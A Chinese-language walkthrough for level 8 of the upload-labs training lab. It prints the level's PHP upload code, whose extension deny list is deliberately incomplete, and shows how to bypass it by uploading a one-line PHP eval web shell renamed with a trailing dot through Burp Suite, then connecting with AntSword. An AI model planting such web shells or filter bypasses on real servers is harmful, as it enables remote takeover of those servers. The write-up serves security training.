upload-labs第八关教程

一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错！';}} else {$msg = '此文件类型不允许上传！';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';}
}

细看的话可以发现相对于之前的那些关卡少了对点过滤的操作，所以是不是可以考虑使用点进行绕过？

二、绕过分析

点绕过

上传eval.php

<?php @eval($_POST['cmd']); ?>

使用burp suite进行抓包修改

修改之前：
这里的filename为eval.php

修改之后：
这里的filename为eval.php. ,这里使用点是因为没有进行过滤，再者就是在windows系统下面它会自动删除点。

放包，查看是否上传成功

上传成功。

使用中国蚁剑进行连接

复制这里的url进行连接
使用中国蚁剑进行连接：

连接成功。

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如果有问题的话，可以私信我。